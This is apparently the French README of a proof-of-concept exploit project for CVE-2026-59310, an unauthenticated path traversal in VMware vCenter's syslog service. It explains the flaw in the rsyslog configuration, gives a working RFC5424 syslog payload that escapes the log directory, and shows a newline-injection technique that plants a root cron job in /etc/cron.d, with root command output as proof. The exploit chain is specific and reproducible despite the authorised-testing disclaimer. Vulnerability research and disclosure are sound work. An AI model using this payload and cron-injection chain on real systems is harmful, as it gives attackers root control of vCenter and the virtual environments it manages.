
PoC et exploit Python pour CVE-2026-59310, une traversée de chemin dans le syslog de VMware vCenter menant à une RCE root non authentifiée via injection dans cron, avec des conseils de détection et de nettoyage.
Avertissement : ce projet est destiné exclusivement aux tests de sécurité autorisés, à la validation de vulnérabilités et à la recherche défensive. Utilisez-le dans un environnement pour lequel vous disposez d'une autorisation écrite explicite. L'utilisateur assume l'entière responsabilité de toute conséquence résultant d'un usage abusif.
| Élément | Contenu |
|---|---|
| Nom de la vulnérabilité | Traversée de répertoire dans le syslog de VMware vCenter |
| Identifiant | CVE-2026-59310 |
| Type | Traversée de répertoire (Path Traversal) → écriture de fichier arbitraire → exécution de code à distance |
| CVSS 3.1 | 9.8 (Critique) |
| Prérequis d'exploitation | Accès au port syslog uniquement (UDP/TCP 514 par défaut), aucune authentification requise |
| Conséquence | Écriture dans un chemin arbitraire et exécution de code arbitraire avec les privilèges root |
| Date de publication | 2026-07-29 |
| Exploitation active | Détectée |
| Avis du fournisseur | VMSA-2026-0006 |
Le service de réception syslog intégré à vCenter (rsyslog) utilise un modèle de chemin dynamique pour enregistrer les journaux ; ce modèle concatène directement les champs APP-NAME et HOSTNAME de l'en-tête du message dans le chemin du fichier, sans aucune purification de chemin. Un attaquant peut envoyer un message spécialement conçu vers le port syslog accessible, ce qui permet au chemin d'écriture de s'échapper du répertoire de journaux prévu, puis, combiné à une tâche planifiée, d'obtenir une exécution de code arbitraire.
vCenter est le centre névralgique de la gestion de la virtualisation ; sa compromission équivaut à la perte de l'ensemble de l'environnement vSphere / VCF.
Versions affectées (antérieures aux versions corrigées ci-dessous)
| Branche | Plage affectée | Version corrigée |
|---|---|---|
| 9.1 | < 9.1.0.0300 | 9.1.0.0300 |
| 9.0 | < 9.0.2.0100 | 9.0.2.0100 (Build 25629525) |
| 8.0 U3 | < 8.0 U3k | 8.0 U3k |
| 8.0 U2 | < 8.0 U2f | 8.0 U2f |
| 8.0 version initiale / U1 | Toutes | Mettre à niveau vers 8.0 U3k ou supérieur selon le chemin pris en charge |
| 7.0 | Correctif de support étendu correspondant non installé | Contacter Broadcom pour obtenir le correctif, ou migrer vers une version prise en charge |
Également affectés : les vCenter déployés de manière autonome, ainsi que les composants vCenter affectés utilisés dans VMware Cloud Foundation, VMware vSphere Foundation et VMware Telco Cloud.
Environnement validé : VMware vCenter Server 9.0.2.0 / Build 25148086, antérieur à la version corrigée 25629525, confirmé comme non corrigé.
/etc/rsyslog.conf (configuration par défaut d'usine VMware) :
29: $template defaultLoc, "/var/log/vmware/%app-name%/%app-name%-syslog.log"
33: $template rsyslogadminLoc,"/var/log/vmware/%app-name%/%app-name%-syslog.log"
35: $template esxLoc, "/var/log/vmware/esx/%hostname%/%hostname%-syslog.log"
%app-name% est utilisé à la fois comme nom de répertoire et comme nom de fichier, sans purification de chemin.
63: :app-name, startswith, "rsyslog" ?rsyslogadminLoc;rsyslogadminFmt
Seule une correspondance de préfixe est exigée ; un attaquant peut utiliser rsyslog/... pour déclencher cette règle et entrer dans le modèle de chemin dynamique.
24: $EscapeControlCharactersOnReceive off
Les retours à la ligne présents dans le contenu du message sont écrits tels quels sur le disque, ce qui permet à l'attaquant de contrôler la structure des lignes du fichier écrit.
C'est l'aspect le plus souvent négligé de cette vulnérabilité.
/ n'est pas autorisé par défaut, ce qui entraîne la troncature de APP-NAME au niveau de / → pas de traversée possible.APP-NAME est un champ indépendant séparé par des espaces, sans validation par liste blanche de caractères ; / et .. sont conservés tels quels → traversée possible.Côté serveur, input(type="imudp" port="514") utilise le jeu de règles par défaut et accepte également les messages RFC5424. Il suffit à l'attaquant de formater son message en RFC5424 pour que les caractères de traversée atteignent directement le chemin du fichier.
Comparaison mesurée (même charge utile rsyslog/../../../../tmp/x) :
| Analyseur | Valeur réelle de %app-name% |
|---|---|
| pmrfc3164 | rsyslog ← tronqué au niveau de / |
| pmrfc5424 | rsyslog/../../../../tmp/x ← conservé intégralement |
Indice complémentaire : un simple
..est créé comme nom de répertoire littéral (par exemplersyslog..), ce qui montre que la couche omfile de rsyslog n'effectue pas de normalisation de..; ce qui détermine réellement le succès, c'est la capacité de l'analyseur à faire passer/dans le champ.
① Paquet UDP non authentifié → ② APP-NAME RFC5424 portant la traversée → ③ Évasion du répertoire de journaux, écriture arbitraire (root)
↓
⑤ Exécution de code root ← ④ Implantation d'une tâche planifiée dans /etc/cron.d
<134>1 2026-01-05T12:00:00Z h rsyslog/../../../../tmp/PWNED 1 ID - hello
Substitution dans le modèle :
Répertoire = /var/log/vmware/rsyslog/../../../../tmp/PWNED → /tmp/PWNED
Fichier = idem + "-syslog.log" → /tmp/PWNED-syslog.log
Résultat : écriture avec root comme propriétaire dans /tmp/PWNED-syslog.log, création automatique des répertoires parents manquants, contenu entièrement contrôlable.
Le nom du fichier écrit se termine toujours par -syslog.log, ce qui empêche d'écraser directement /etc/cron.d/xxx.
Toutefois, grâce au passage des retours à la ligne, il est possible d'injecter un retour à la ligne dans le MSG, faisant commencer le contenu contrôlé à la colonne 0 du fichier :
2026-01-05T12:00:00Z info rsyslog/../../../../../etc/cron.d/poc ← cron signale "bad minute", ignoré
* * * * * root /bin/sh -c '{ id; } > /tmp/out.txt 2>&1' ← exécuté comme ligne cron valide
#
crond l'exécute avec les privilèges root, ce qui donne :
uid=0(root) gid=0(root) groups=0(root),4044(shellaccess)